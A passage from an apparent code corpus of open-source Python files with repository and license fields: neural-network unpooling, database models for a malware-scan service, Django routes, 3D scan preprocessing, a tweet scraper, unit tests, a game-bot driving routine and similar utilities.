The argmax from tf.nn.max_pool_with_argmax which has same shape with inputs.\n inputs_shape(list, tuple): Shape of inputs.\n ksize(list, tuple): The size of the window for each dimension of the inputs.\n Returns:\n tf.Variable: An unpooled tensor.\n \"\"\"\n # only int32 is registered to grad of FloorMod in GPU\n argmax = tf.cast(argmax, dtype=tf.int32)\n # calculate new shape\n output_shape = (inputs_shape[0], inputs_shape[1] * ksize[1], inputs_shape[2] * ksize[2], inputs_shape[3])\n # calculate indices for batch, height, width and feature maps\n one_like_argmax = tf.ones_like(argmax)\n batch_range = tf.reshape(tf.range(output_shape[0], dtype=tf.int32),\n shape=tf.concat(([output_shape[0]], tf.ones((3,), dtype=tf.int32)), axis=0))\n b = one_like_argmax * batch_range\n y = argmax // (output_shape[2] * output_shape[3])\n x = argmax % (output_shape[2] * output_shape[3]) // output_shape[3]\n channel_range = tf.range(output_shape[3], dtype=tf.int32)\n c = one_like_argmax * channel_range\n # transpose indices & reshape update values to one dimension\n inputs_size = tf.size(inputs)\n\n indices = tf.transpose(tf.reshape(tf.stack([b, y, x, c]), [4, inputs_size]))\n\n values = tf.reshape(inputs, [inputs_size])\n ret = tf.scatter_nd(indices, values, output_shape)\n return ret\n\n return _func(x, argmax, x.get_shape().as_list(), ksize)\n\n if data_format == \"NHWC\":\n return _forward(x, argmax, ksize)\n else: # NCHW\n x = tf.transpose(x, perm=(0, 2, 3, 1))\n unpooled = _forward(x, argmax, ksize)\n return tf.transpose(unpooled, perm=(0, 3, 1, 2))\n", "source": "progrunner17/blueoil", "license": "Apache-2.0"} {"text": "# -*- coding: utf-8 -*-\n# mymodule/models.py\nimport json\nfrom exts.sqlalchemy import db\n\nfrom datetime import datetime\nfrom uuid import uuid4\n\n# SQLAlchemy Imports\nfrom sqlalchemy import text, inspect, select, func\nfrom sqlalchemy.orm import relationship\nfrom sqlalchemy.ext.hybrid import hybrid_property\nfrom sqlalchemy.ext.declarative import declarative_base \n\n# INIT\nBase = db.Model\n#Base = declarative_base(cls=db.Model)\n#Base = declarative_base()\nmetadata = Base.metadata\n\n# BEGIN\nEvalFiles = db.Table(\n 'eval_files', metadata,\n db.Column('eval_id', db.Integer, db.ForeignKey('evals.id')),\n db.Column('file_id', db.Integer, db.ForeignKey('files.id')))\n\n\nclass Client(Base):\n __tablename__ = 'clients'\n\n id = db.Column(db.Integer, primary_key=True)\n fingerprint = db.Column(db.String(64), unique=True)\n last_ip = db.Column(\n db.String(32),\n nullable=False,\n unique=False,\n server_default=u'127.0.0.1')\n date_fseen = db.Column(\n db.DateTime, nullable=False, default=datetime.now)\n date_lseen = db.Column(\n db.DateTime, nullable=False, default=datetime.now)\n x509_serial = db.Column(db.String(64))\n x509_cname = db.Column(db.String(255))\n x509_email = db.Column(db.String(255))\n x509_orgdept = db.Column(db.String(255))\n x509_orgname = db.Column(db.String(255))\n x509_orgstate = db.Column(db.String(255))\n x509_data = db.Column(db.Text)\n evals = relationship(\"Eval\", back_populates=\"client\")\n\n @hybrid_property\n def evals_count(self):\n return len(self.evals) # @note: use when non-dynamic relationship\n # return self.evals.count() # @note: use when dynamic relationship\n\n @evals_count.expression\n def evals_count(cls):\n return (select([func.count(Eval.id)]).where(Eval.client_id == cls.id).label(\"evals_count\")) # noqa: E501\n\n def toDict(self):\n return {\n c.key: getattr(self, c.key)\n for c in inspect(self).mapper.column_attrs\n }\n\n def __repr__(self):\n return '%s' % self.x509_cname\n\n def __str__(self):\n return '%s' % self.x509_cname\n\n\nclass Eval(Base):\n __tablename__ = 'evals'\n\n id = db.Column(db.Integer, primary_key=True)\n client_id = db.Column(db.Integer, db.ForeignKey('clients.id'))\n client = relationship(\"Client\", back_populates=\"evals\")\n uuid_f = db.Column(db.String(36), nullable=False, unique=True)\n corrid = db.Column(db.String(128))\n status_f = db.Column(db.String(32))\n date_f = db.Column(db.DateTime)\n date_b = db.Column(db.DateTime)\n score = db.Column(db.Integer)\n files = relationship(\"File\", secondary=EvalFiles, backref=\"evals\")\n\n @hybrid_property\n def files_count(self):\n return len(self.files) # @note: use when non-dynamic relationship\n # return self.evals.count() # @note: use when dynamic relationship\n\n @files_count.expression\n def files_count(cls):\n return (select([\n func.count(EvalFiles.c.file_id)\n ]).where(EvalFiles.c.eval_id == cls.id).label(\"files_count\"))\n\n def __init__(self,\n uuid_f=None,\n status_f=\"InProgress\",\n corrid=None,\n date_f=None,\n date_b=None,\n score=0):\n if uuid_f is None:\n uuid_f = str(uuid4())\n self.uuid_f = uuid_f\n\n self.corrid = corrid\n self.status_f = status_f\n if date_f is None:\n date_f = datetime.now()\n self.date_f = date_f\n self.score = score\n\n def __repr__(self):\n return '%s' % self.uuid_f\n\n def getStatus(self):\n if self.status_f != \"InProgress\":\n return '%s' % self.status_f\n else:\n in_progress = 0\n is_error = 0\n is_complete = 0\n for file in self.files:\n if file.status_f == \"InProgress\":\n in_progress += 1\n elif file.status_f == \"Error\":\n is_error += 1\n else:\n is_complete += 1\n if in_progress > 0:\n self.status_f = \"InProgress\"\n elif is_error > 0:\n self.status_f = \"Error\"\n else:\n self.status_f = \"Complete\"\n return '%s' % self.status_f\n\n def toDict(self):\n return {\n c.key: getattr(self, c.key)\n for c in inspect(self).mapper.column_attrs\n }\n\n\nclass File(Base):\n __tablename__ = 'files'\n\n id = db.Column(db.Integer, primary_key=True)\n name = db.Column(db.String(255), nullable=False)\n mtype = db.Column(db.Text, nullable=False)\n md5 = db.Column(db.String(32), nullable=True)\n sha1 = db.Column(db.String(40), nullable=True)\n hash = db.Column(db.String(64), nullable=False, unique=True)\n uuid_f = db.Column(db.String(36), nullable=False, unique=True)\n status_f = db.Column(db.String(32))\n date_b = db.Column(db.DateTime)\n exec_time = db.Column(db.Float)\n score = db.Column(db.Integer)\n expect_sandbox = db.Column(db.Boolean)\n message = db.Column(db.Text, nullable=True)\n results = db.Column(db.Text, nullable=True)\n # results = db.Column(db.JSON)\n\n def __init__(self,\n name=None,\n mtype=None,\n hash=None,\n uuid_f=None,\n status_f=\"InProgress\",\n date_b=None,\n exec_time=0.00,\n sha1=None,\n md5=None,\n score=0,\n expect_sandbox=False,\n results=\"\"):\n self.name = name\n self.mtype = mtype\n self.hash = hash\n self.sha1 = sha1\n self.md5 = md5\n\n if uuid_f is None:\n uuid_f = str(uuid4())\n self.uuid_f = uuid_f\n\n self.status_f = status_f\n\n if date_b is None:\n date_b = datetime.now()\n self.date_b = date_b\n\n self.exec_time = exec_time\n self.score = score\n self.expect_sandbox = expect_sandbox\n self.results = results\n\n def __repr__(self):\n return '%s' % self.name\n\n @hybrid_property\n def evals_count(self):\n return len(self.evals) # @note: use when non-dynamic relationship\n # return self.evals.count() # @note: use when dynamic relationship\n\n @evals_count.expression\n def evals_count(cls):\n return (select([\n func.count(EvalFiles.c.eval_id)\n ]).where(EvalFiles.c.file_id == cls.id).label(\"evals_count\"))\n\n def toDict(self):\n return {\n c.key: getattr(self, c.key)\n for c in inspect(self).mapper.column_attrs\n }\n\n\n# END\n", "source": "lbahtarliev/MalwareScan", "license": "Unlicense"} {"text": "from django.conf.urls.defaults import *\n\nfrom cyder.cydns.view.views import *\n\n\nurlpatterns = patterns('',\n url(r'^$', ViewListView.as_view(), name='view-list'),\n\n url(r'(?P[\\w-]+)/create/$',\n ViewCreateView.as_view(), name='view-create-in-domain'),\n url(r'create/$', ViewCreateView.as_view(), name='view-create'),\n\n url(r'(?P[\\w-]+)/update/$',\n ViewUpdateView.as_view(), name='view-update'),\n url(r'(?P[\\w-]+)/delete/$',\n ViewDeleteView.as_view(), name='view-delete'),\n url(r'(?P[\\w-]+)/$',\n ViewDetailView.as_view(), name='view-detail'),\n)\n", "source": "ngokevin/chili", "license": "BSD-3-Clause"} {"text": "import elist.elist as elel\nimport estring.estring as eses\nimport cv2\nimport numpy as np\nimport pandas as pd\nfrom sldghmmr4nut.lines import fmt\n\ndef img2df(img):\n height = img.shape[0]\n width = img.shape[1]\n channel = img.shape[2]\n pd_index = elel.init_range(0,height,1)\n pd_columns = elel.init_range(0,width,1)\n df = pd.DataFrame(img.tolist(),columns=pd_columns,index=pd_index)\n return(df)\n\ndef df2img(df):\n l = df.values.tolist()\n ndarr = np.array(l)\n return(ndarr)\n\n\ndef ord2bgr(num):\n bgr = '{:0>6}'.format(hex(num)[2:])\n bgr = eses.divide(bgr,2)\n bgr = elel.mapv(bgr,int,[16])\n return(bgr)\n\ndef bgr2ord(bgr):\n def map_func(ele):\n ele = '{:0>2}'.format(hex(ele)[2:])\n return(ele)\n bgr = elel.mapv(bgr,map_func)\n num = elel.join(bgr,\"\")\n num = int(num,16)\n return(num)\n\n\ndef txt2bgrndarr(s,**kwargs):\n if('line_sp' in kwargs):\n line_sp = kwargs['line_sp']\n else:\n line_sp = fmt.LINE_SP\n if('null' in kwargs):\n null = kwargs['line_sp']\n else:\n null = fmt.NUL\n if('oddize' in kwargs):\n oddize = kwargs['oddize']\n else:\n oddize = fmt.no_oddize\n lines = s.split(line_sp)\n lines = fmt.padding_lines(lines,null)\n lines = oddize(lines,null)\n char_lines = elel.mapv(lines,lambda line:list(line))\n mat= elel.mat_mapv(char_lines,ord)\n mat = elel.mat_mapv(mat,ord2bgr)\n ndarr = np.array(mat,dtype=np.uint8)\n return(ndarr)\n\ndef bgrndarr2txt(ndarr,**kwargs):\n if('line_sp' in kwargs):\n line_sp = kwargs['line_sp']\n else:\n line_sp = fmt.LINE_SP\n if('null' in kwargs):\n null = kwargs['line_sp']\n else:\n null = fmt.NUL\n mat = ndarr.tolist()\n mat = elel.mat_mapv(mat,bgr2ord)\n lines = elel.mat_mapv(mat,chr)\n lines = elel.mapv(lines,lambda line:elel.join(line,\"\"))\n s = elel.join(lines,line_sp)\n s = s.replace(null,\"\")\n return(s)\n", "source": "ihgazni2/sledgehammer4nut", "license": "MIT"} {"text": "\"\"\"\nWhat idr needs:\n cameras.npz\n scale_mat_{i}\n world_mat_{i}\n image\n mask\n\"\"\"\nimport os\nimport cv2\nimport numpy as np\nfrom tqdm import tqdm\nimport trimesh\nimport sys\n\n# from src.datasets.scenenet import SceneNet\nfrom src.utils.geometry import get_homogeneous, depth2xyz\nimport src.utils.scannet_helper as scannet_helper\n\n\ndef recenter(vertices):\n min_ = np.min(vertices, axis=0)\n max_ = np.max(vertices, axis=0)\n center = (max_ + min_) / 2.\n vertices = vertices - center[None, :]\n return vertices\n\n\ndef make_dir(dir_):\n if not os.path.exists(dir_):\n os.makedirs(dir_)\n\n\nROOT_DIR = \"/home/kejie/repository/fast_sdf/data/ScanNet/\"\nRENDER_PATH = \"scene0575_00\"\nout_base_dir = \"/home/kejie/repository/fast_sdf/data/fusion/ScanNet\"\n\nDEPTH_SCALE = 1000.\nSKIP_IMAGES = 1\n\nout_dir = os.path.join(out_base_dir, RENDER_PATH)\nout_rgb_dir = os.path.join(out_dir, \"image\")\nout_mask_dir = os.path.join(out_dir, \"mask\")\nout_depth_dir = os.path.join(out_dir, \"depth\")\nout_pose_dir = os.path.join(out_dir, \"pose\")\nmake_dir(out_dir)\nmake_dir(out_rgb_dir)\nmake_dir(out_mask_dir)\nmake_dir(out_depth_dir)\nmake_dir(out_pose_dir)\n\nseq_dir = os.path.join(ROOT_DIR, RENDER_PATH, \"frames\")\nimg_dir = os.path.join(seq_dir, \"color\")\ndepth_dir = os.path.join(seq_dir, \"depth\")\npose_dir = os.path.join(seq_dir, \"pose\")\n\nimg_names = [f.split(\".\")[0] for f in os.listdir(img_dir)]\nimg_names = sorted(img_names, key=lambda a: int(a))\nn_imgs = len(img_names)\nintrinsic_path = os.path.join(seq_dir, \"intrinsic\", \"intrinsic_depth.txt\")\nmin_pts = []\nmax_pts = []\n\ncameras = {}\naxis_align_mat = scannet_helper.read_meta_file(\n os.path.join(os.path.join(ROOT_DIR, RENDER_PATH, RENDER_PATH + \".txt\"))\n)\ngt_mesh = trimesh.load(os.path.join(ROOT_DIR, RENDER_PATH, f\"{RENDER_PATH}_vh_clean_2.ply\"))\nvertices = gt_mesh.vertices\nvertices = (axis_align_mat @ get_homogeneous(vertices).T)[:3, :].T\ngt_mesh.vertices = vertices\n\n# get the 3D bounding box of the scene\nused_id = 0\nfor i in range(0, n_imgs, SKIP_IMAGES):\n rgb = cv2.imread(\n os.path.join(img_dir, img_names[i] + \".jpg\"), -1)[:, :, ::-1]\n depth = cv2.imread(\n os.path.join(depth_dir, img_names[i] + \".png\"), -1) / DEPTH_SCALE\n mask = (depth > 0).astype(np.float32)\n img_h, img_w = mask.shape\n y, x = np.nonzero(depth)\n valid_pixels = np.stack([x, y], axis=-1)\n img_h, img_w = depth.shape\n rgb = cv2.resize(rgb, (img_w, img_h))\n\n intr_mat = scannet_helper.read_intrinsic(intrinsic_path)\n T_cw_old = scannet_helper.read_extrinsic(\n os.path.join(pose_dir, img_names[i] + \".txt\"))\n if np.isnan(T_cw_old).any():\n continue\n T_wc = np.linalg.inv(T_cw_old)\n T_wc = axis_align_mat @ T_wc\n cameras['intr_mat_%d'%used_id] = intr_mat\n cameras['T_wc_%d'%used_id] = T_wc\n\n # pts_c = depth2xyz(depth, intr_mat)\n # pts_c = pts_c[valid_pixels[:, 1], valid_pixels[:, 0], :].reshape(-1, 3)\n # pts_w = (T_wc @ get_homogeneous(pts_c).T)[:3, :].T\n # _min = np.min(pts_w, axis=0)\n # _max = np.max(pts_w, axis=0)\n # min_pts.append(_min)\n # max_pts.append(_max)\n\n out_rgb_path = os.path.join(out_rgb_dir, f\"{used_id}.jpg\")\n cv2.imwrite(out_rgb_path, rgb[:, :, ::-1])\n out_mask_path = os.path.join(out_mask_dir, f\"{used_id}.png\")\n cv2.imwrite(out_mask_path, mask.astype(np.uint8)*255)\n out_depth_path = os.path.join(out_depth_dir, f\"{used_id}.png\")\n cv2.imwrite(out_depth_path, (depth * 1000).astype(np.uint16))\n used_id += 1\nn_imgs = used_id\nmin_pts = np.min(np.stack(gt_mesh.vertices, axis=0), axis=0)\nmax_pts = np.max(np.stack(gt_mesh.vertices, axis=0), axis=0)\ncenter = (min_pts + max_pts) / 2\ndimensions = max_pts - min_pts\naxis_align_mat = np.eye(4)\naxis_align_mat[:3, 3] = -center\n\nused_id = 0\ncameras_new = {}\nfor i in range(n_imgs):\n T_wc = axis_align_mat @ cameras['T_wc_%d'%used_id]\n extr_path = os.path.join(out_pose_dir, f\"T_wc_{used_id}.txt\")\n with open(extr_path, \"w\") as f:\n f.write(\" \".join([str(t) for t in T_wc.reshape(-1)]))\n cameras_new['T_wc_%d'%used_id] = T_wc\n cameras_new['intr_mat_%d'%used_id] = cameras['intr_mat_%d'%used_id]\n intr_path = os.path.join(out_pose_dir, f\"intr_mat_{used_id}.txt\")\n with open(intr_path, \"w\") as f:\n f.write(\" \".join([str(t) for t in intr_mat.reshape(-1)]))\n used_id += 1\ncameras_new['dimensions'] = dimensions\nnp.savez('{0}/{1}.npz'.format(out_dir, \"cameras\"), **cameras_new)\n\ndimension_path = os.path.join(out_pose_dir, \"dimensions.txt\")\nwith open(dimension_path, \"w\") as f:\n f.write(\" \".join([str(t) for t in dimensions.reshape(-1)]))\n", "source": "likojack/bnv_fusion", "license": "MIT"} {"text": "import snscrape.modules.twitter as sntwitter\nimport pandas as pd\nimport datetime\n\ndef get_historic_tweets(start_date,end_date):\n\tdelta = datetime.timedelta(days=1)\n\tlist1 = []\n\twhile start_date <= end_date:\n\t list1.append((str(start_date),str(start_date+delta)))\n\t start_date += delta\n\tfor i in list1:\n maxTweets = 500\n\n since = 'since:'+i[0]\n until = 'until:'+i[1]\n # Creating list to append tweet data to\n \n\n # Using TwitterSearchScraper to scrape data and append tweets to list\n for i,tweet in enumerate(sntwitter.TwitterSearchScraper('#BTC '+since+ ' ' + until).get_items()):\n if i>maxTweets:\n break\n tweets_list2.append([tweet.date, tweet.id, tweet.content, tweet.user.username])\n\n tweets_df = pd.DataFrame(tweets_list2, columns=['Datetime', 'Tweet Id', 'Text', 'Username'])\n\n return tweets_df", "source": "Sapphirine/202112-50", "license": "FTL"} {"text": "\"\"\"Unit tests covering the src.config module.\"\"\"\n\nimport os\nimport unittest\nfrom pathlib import Path\n\nfrom src.config import Config\n\nfrom tests import cleanup, digits, setup\n\n\nclass TestConfig(unittest.TestCase):\n\n def test_touch_creates_path(self):\n conf_path = f'{Path.home()}/.config/clock/{digits()}/{digits()}/conf'\n\n Config(conf_path)\n msg = 'All config file parent directories should be created.'\n self.assertTrue(os.path.exists(conf_path), msg)\n\n cleanup(conf_path)\n os.rmdir(Path(conf_path).parent)\n os.rmdir(Path(conf_path).parent.parent)\n\n\n def test_load_and_validate(self):\n conf_path = f'{Path.home()}/.config/clock/test.conf'\n log_path = f'{Path.home()}/hours.txt'\n\n test_profiles = [f'work:{log_path}', # Valid Path\n 'school:/etc/shool.txt', # Invalid Path\n 'alphabet_soup'] # Bad Format\n\n setup((conf_path, '\\n'.join(test_profiles)),\n (log_path, None))\n\n conf = Config(conf_path)\n msg = 'Pofiles should be loaded from the config file and validated.'\n self.assertEqual(conf.profiles, {'work': log_path}, msg)\n\n cleanup(conf_path, log_path)\n\n\n def test_profiles(self):\n conf_path = f'{Path.home()}/.config/clock/test.conf'\n log_path1 = f'{Path.home()}/hours1.txt'\n log_path2 = f'{Path.home()}/hours2.txt'\n\n test_profiles = [f'work:{log_path1}',\n f'school:{log_path2}']\n\n\n setup((conf_path, '\\n'.join(test_profiles)),\n (log_path1, None),\n (log_path2, None))\n\n conf = Config(conf_path)\n msg = 'You should be able to query config profiles.'\n self.assertEqual(conf.profile('work'), Path(log_path1), msg)\n self.assertEqual(conf.profile('school'), Path(log_path2), msg)\n msg = 'None should be returned for invalid profiles.'\n self.assertEqual(conf.profile(''), None, msg)\n\n cleanup(conf_path, log_path1, log_path2)\n\n\n def test_legacy(self):\n conf_path = f'{Path.home()}/test-legacy-config.txt'\n log_path = f'{Path.home()}/test-legacy-config-log.txt'\n bad_path = f'{Path.home()}/file-that-doesnt-exist.txt'\n\n setup((conf_path, log_path),\n (log_path, ''))\n\n conf = Config(conf_path)\n\n result = conf.profiles\n expected = {}\n msg = 'Legacy config files should not have any profiles.'\n self.assertEqual(result, expected, msg)\n\n result = conf.legacy()\n expected = Path(log_path)\n msg = 'Legacy should return a valid path from the config file.'\n self.assertEqual(result, expected, msg)\n\n result = Config(bad_path).legacy()\n expected = None\n msg = 'Legacy should return None for invalid legacy config files.'\n self.assertEqual(result, expected, msg)\n\n cleanup(conf_path, log_path, bad_path)\n\n\nif __name__ == '__main__':\n unittest.main()\n", "source": "macuyler/clock", "license": "MIT"} {"text": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\nfrom abc import ABC, abstractmethod\nfrom funfact import active_backend as ab\n\n\nclass _Condition(ABC):\n '''Base class for all conditions on leaf tensors.'''\n\n def __init__(self, weight=1.0, elementwise='mse', reduction='mean'):\n '''Condition on leaf tensor.\n\n Args:\n weight (float): Hyperparameter that determines weight of condition.\n elementwise (str):\n If 'mse', the mean-squared error is evaluated elementwise.\n If 'l1', the L1 error is evaluated elementwise.\n reduction (str):\n If 'mean', the mean of the elementwise condition is returned.\n If 'sum', the sum over the elementwise condition is returned.\n '''\n self.weight = weight\n if elementwise == 'mse':\n def elementwise(data):\n return ab.square(ab.abs(data))\n elif elementwise == 'l1':\n def elementwise(data):\n return ab.abs(data)\n else:\n raise SyntaxError(\n 'The elementwise function should be either mse or l1, '\n f'get {elementwise} instead.'\n )\n self.elementwise = elementwise\n if reduction == 'mean':\n def reduction(data):\n return ab.mean(data)\n elif reduction == 'sum':\n def reduction(data):\n return ab.sum(data)\n else:\n raise SyntaxError(\n 'The reduction operation should be either mean or sum, '\n f'got {self.reduction} instead.'\n )\n self.reduction = reduction\n\n @abstractmethod\n def _condition(self, data):\n pass\n\n def __call__(self, data, sum_vec=None):\n '''Evaluate condition on leaf tensor.\n\n Args:\n data (tensor): leaf tensor\n '''\n return self.weight * self.reduction(\n self.elementwise(self._condition(data))\n )\n\n\nclass _MatrixCondition(_Condition):\n '''Base class for all conditions only to be evaluated for matrices.'''\n\n def __call__(self, data, sum_vec=None):\n if data.ndim != 2:\n raise ValueError('Penalty can only be evaluated for matrices, '\n f'got tensor with shape {data.shape}.')\n return super().__call__(data)\n\n\nclass UpperTriangular(_MatrixCondition):\n ''' Checks an upper triangular condition for a 2-way leaf tensor (matrix).\n\n **Usage:**\n ```py\n T = funfact.tensor(...,\n prefer=funfact.conditions.UpperTriangular(\n weight=1.0,\n elementwise='mse',\n reduction='mean'\n )\n )\n ```\n\n Args:\n weight (float): Hyperparameter that determines weight of triangular\n condition.\n elementwise (str):\n If 'mse', the mean-squared error is evaluated elementwise.\n If 'l1', the L1 error is evaluated elementwise.\n reduction (str):\n If 'mean', the mean of the elementwise condition is returned.\n If 'sum', the sum over the elementwise condition is returned.\n '''\n\n def _condition(self, data):\n return ab.tril(data, -1)\n\n\nclass Unitary(_MatrixCondition):\n ''' Checks a unitary condition for a 2-way leaf tensor (matrix).\n\n **Usage:**\n ```py\n T = funfact.tensor(...,\n prefer=funfact.conditions.Unitary(\n weight=1.0,\n elementwise='mse',\n reduction='mean'\n )\n )\n ```\n\n Args:\n weight (float): Hyperparameter that determines weight of unitary\n condition.\n elementwise (str):\n If 'mse', the mean-squared error is evaluated elementwise.\n If 'l1', the L1 error is evaluated elementwise.\n reduction (str):\n If 'mean', the mean of the elementwise condition is returned.\n If 'sum', the sum over the elementwise condition is returned.\n '''\n\n def _condition(self, data):\n return ab.subtract(\n ab.matmul(data, ab.conj(ab.transpose(data, (1, 0)))),\n ab.eye(data.shape[0])\n )\n\n\nclass Diagonal(_MatrixCondition):\n ''' Checks a diagonal condition for a 2-way leaf tensor (matrix).\n\n **Usage:**\n ```py\n T = funfact.tensor(...,\n prefer=funfact.conditions.Diagonal(\n weight=1.0,\n elementwise='mse',\n reduction='mean'\n )\n )\n ```\n\n Args:\n weight (float): Hyperparameter that determines weight of diagonal\n condition.\n elementwise (str):\n If 'mse', the mean-squared error is evaluated elementwise.\n If 'l1', the L1 error is evaluated elementwise.\n reduction (str):\n If 'mean', the mean of the elementwise condition is returned.\n If 'sum', the sum over the elementwise condition is returned.\n '''\n\n def _condition(self, data):\n return ab.add(ab.triu(data, 1), ab.tril(data, -1))\n\n\nclass NonNegative(_Condition):\n ''' Checks a non-negative condition for a leaf tensor.\n\n **Usage:**\n ```py\n T = funfact.tensor(...,\n prefer=funfact.conditions.NonNegative(\n weight=1.0,\n elementwise='mse',\n reduction='mean'\n )\n )\n ```\n\n Args:\n weight (float): Hyperparameter that determines weight of\n nonnegative condition.\n elementwise (str):\n If 'mse', the mean-squared error is evaluated elementwise.\n If 'l1', the L1 error is evaluated elementwise.\n reduction (str):\n If 'mean', the mean of the elementwise condition is returned.\n If 'sum', the sum over the elementwise condition is returned.\n\n '''\n\n def _condition(self, data):\n return ab.relu(-data)\n\n\nclass NoCondition(_Condition):\n ''' No condition enforced for a leaf tensor.\n\n **Usage:**\n ```py\n T = funfact.tensor(...,\n prefer=funfact.conditions.NoCondition()\n )\n ```\n '''\n\n def _condition(self, data):\n return ab.tensor(0.0)\n\n\ndef vmap(condition, append: bool = True):\n '''Vectorizes a condtion.\n\n Args:\n condition (callable): non-vectorized condition.\n append (bool):\n If True, the last index of shape is considered the vectorizing\n index. If False, the first index of shape tuple is considered\n the vectorizing index.\n '''\n def wrapper(data, sum_vec: bool = True):\n '''Vectorized condition\n\n Args:\n data (tensor): vectorized tensor leaf.\n sum_vec (bool):\n If True, the conditions are summed over the vectorizing\n dimension. If False, the conditions per instance in the\n vectorized model are returned.\n '''\n shape = data.shape\n nvec = shape[-1] if append else shape[0]\n\n def _get_instance(i):\n return data[..., i] if append else data[i, ...]\n\n conditions = ab.stack([condition(_get_instance(i)) for i in\n range(nvec)], 0)\n return ab.sum(conditions) if sum_vec else conditions\n return wrapper\n", "source": "campsd/FunFact", "license": "BSD-3-Clause-LBNL"} {"text": "from maneuvers.kit import *\r\n\r\n\r\nclass Drive(Maneuver):\r\n\r\n def __init__(self, car, target_pos: vec3 = vec3(0, 0, 0), target_speed: float = 0, backwards: bool = False):\r\n super().__init__(car)\r\n\r\n self.target_pos = target_pos\r\n self.target_speed = target_speed\r\n self.backwards = backwards\r\n self.drive_on_walls = False\r\n\r\n def step(self, dt):\r\n target = self.target_pos\r\n\r\n # dont try driving outside the arena\r\n target = Arena.clamp(target, 100)\r\n\r\n # smoothly escape goal\r\n if abs(self.car.pos[1]) > Arena.size[1] - 50:\r\n target = Arena.clamp(target, 200)\r\n target[0] = signclamp(target[0], 700)\r\n\r\n if not self.drive_on_walls:\r\n if self.car.pos[2] > 300:\r\n target = ground(self.car)\r\n\r\n local_target = local(self.car, target)\r\n\r\n\r\n if self.backwards:\r\n local_target[0] *= -1\r\n local_target[1] *= -1\r\n\r\n #steering\r\n phi = math.atan2(local_target[1], local_target[0])\r\n self.controls.steer = clamp11(2.5 * phi)\r\n\r\n #powersliding\r\n if abs(phi) > 1.5 and self.car.pos[2] < 200:\r\n self.controls.handbrake = 1\r\n else:\r\n self.controls.handbrake = 0\r\n\r\n # forward velocity\r\n vf = dot(self.car.vel, self.car.forward())\r\n if self.backwards:\r\n vf *= -1\r\n\r\n #speed controller\r\n if vf < self.target_speed:\r\n self.controls.throttle = 1.0\r\n if self.target_speed > 1400 and vf < 2250:\r\n self.controls.boost = 1\r\n else:\r\n self.controls.boost = 0\r\n else:\r\n if (vf - self.target_speed) > 200: # 75\r\n self.controls.throttle = -1.0\r\n else:\r\n if self.car.up()[2] > 0.85:\r\n self.controls.throttle = 0.0\r\n else:\r\n self.controls.throttle = 0.01\r\n self.controls.boost = 0\r\n\r\n #backwards driving\r\n if self.backwards:\r\n self.controls.throttle *= -1\r\n self.controls.steer *= -1\r\n self.controls.boost = 0\r\n self.controls.handbrake = 0\r\n\r\n #dont boost if not facing target\r\n if abs(phi) > 0.3:\r\n self.controls.boost = 0\r\n\r\n #finish when close\r\n if distance(self.car, self.target_pos) < 100:\r\n self.finished = True\r\n \r\n\r\n\r\n def render(self, draw: DrawingTool):\r\n draw.color(draw.cyan)\r\n draw.square(self.target_pos, 50)\r\n target_direction = direction(self.car.pos, self.target_pos)\r\n draw.triangle(self.car.pos + target_direction * 100, target_direction, up=self.car.up())\r\n\r\n # speedometer\r\n car = self.car\r\n width = 5\r\n length = 40\r\n forw_offset = 20\r\n p1 = world(car, vec3(-length + forw_offset, -width, 0))\r\n p2 = world(car, vec3(-length + forw_offset, width, 0))\r\n p3 = world(car, vec3( length + forw_offset, width, 0))\r\n p4 = world(car, vec3( length + forw_offset, -width, 0))\r\n draw.line(p1, p2)\r\n draw.line(p2, p3)\r\n draw.line(p3, p4)\r\n draw.line(p4, p1)\r\n\r\n x = rangemap(1400, 0, 2300, -length, length) + forw_offset\r\n draw.color(draw.gray)\r\n draw.line(world(car, vec3(x, -width, 0)), world(car, vec3(x, width, 0)))\r\n\r\n x = rangemap(clamp(self.target_speed, 0, 2290), 0, 2300, -length, length) + forw_offset\r\n draw.color(draw.lime)\r\n draw.line(world(car, vec3(x, -width, 0)), world(car, vec3(x, width, 0)))\r\n\r\n x = rangemap(norm(self.car.vel), 0, 2300, -length, length) + forw_offset\r\n draw.color(draw.yellow)\r\n draw.line(world(car, vec3(x, -width, 0)), world(car, vec3(x, width, 0)))\r\n ", "source": "DaCoolOne/RLBotPack", "license": "MIT"} {"text": "from common import errors\nimport abc\nimport copy\nimport json\n\n\nclass MsgReservedField:\n type_field = 'type'\n\n\n# Cli -> Svr\nclass CSMessageTypes:\n enter_room = 'EnterRoom'\n start_game = 'StartGame'\n\n sync_block_pos = 'SyncBlockPos'\n ball_block_collide = 'SyncBallBlockCollide'\n\n round_end = 'RoundEnd'\n\n# Svr -> Cli\nclass SCMessageTypes:\n entered_room = 'EnteredRoom'\n\n #ntf\n enter_room_ntf = 'EnteredRoomNtf'\n start_game_ntf = 'StartGameNtf'\n block_pos_ntf = 'BlockPosNtf'\n ball_block_collide_ntf = 'BallBlockCollideNtf'\n\n round_end_ntf = 'RoundEndNtf'\n\n player_leave_ntf = 'PlayerLeaveNtf'\n\n\ndef build_notify(msg_type, data):\n ret = copy.deepcopy(data)\n ret[MsgReservedField.type_field] = msg_type\n return json.dumps(ret)\n\n\ndef build_response(msg_type, result, data, error=None):\n\n if result not in ['ok', 'failed']:\n raise ValueError('Invalid result {}'.format(result))\n\n if 'failed' == result and None is error:\n raise ValueError('Error description must be set')\n\n ret = copy.deepcopy(data)\n ret[MsgReservedField.type_field] = msg_type\n ret['result'] = result\n if None is not error:\n ret['error'] = error\n return json.dumps(ret)\n", "source": "iFunFactory/pong-webscoket", "license": "MIT"} {"text": "# Modify the code inside this loop to stop when i is greater than zero and exactly divisible by 11\n\nfor i in range(0, 100, 7):\n print(i)\n if i > 0 and i % 11 == 0:\n break\n", "source": "christostsekouronas/learnpython", "license": "MIT"} {"text": "from ztag.annotation import *\n\nclass MiniHTTPD(Annotation):\n\n protocol = protocols.HTTP\n subprotocol = protocols.HTTP.GET\n port = None\n\n def process(self, obj, meta):\n server = obj[\"headers\"][\"server\"]\n meta = self.simple_banner_version(server.split(\" \", 1)[0], \"mini_httpd\", meta)\n if meta and \" \" in server:\n meta.local_metadata.revision = server.split(\" \", 1)[1]\n return meta\n\n", "source": "justinbastress/ztag", "license": "Apache-2.0"} {"text": "\"\"\"\n Chess game implementation and position generation\n\"\"\"\n\nimport numpy as np\nfrom colorama import Fore\nfrom colorama import Style\nfrom random import randint\nfrom collections import namedtuple\nimport math\n\ncounter = 0\n\nSEARCH_DEPTH = 4\nDRAW = 2\nIN_PROGRESS = 3\n\n# piece format:\n# 3 bits piece type, 1 bit color\n# piece = 0 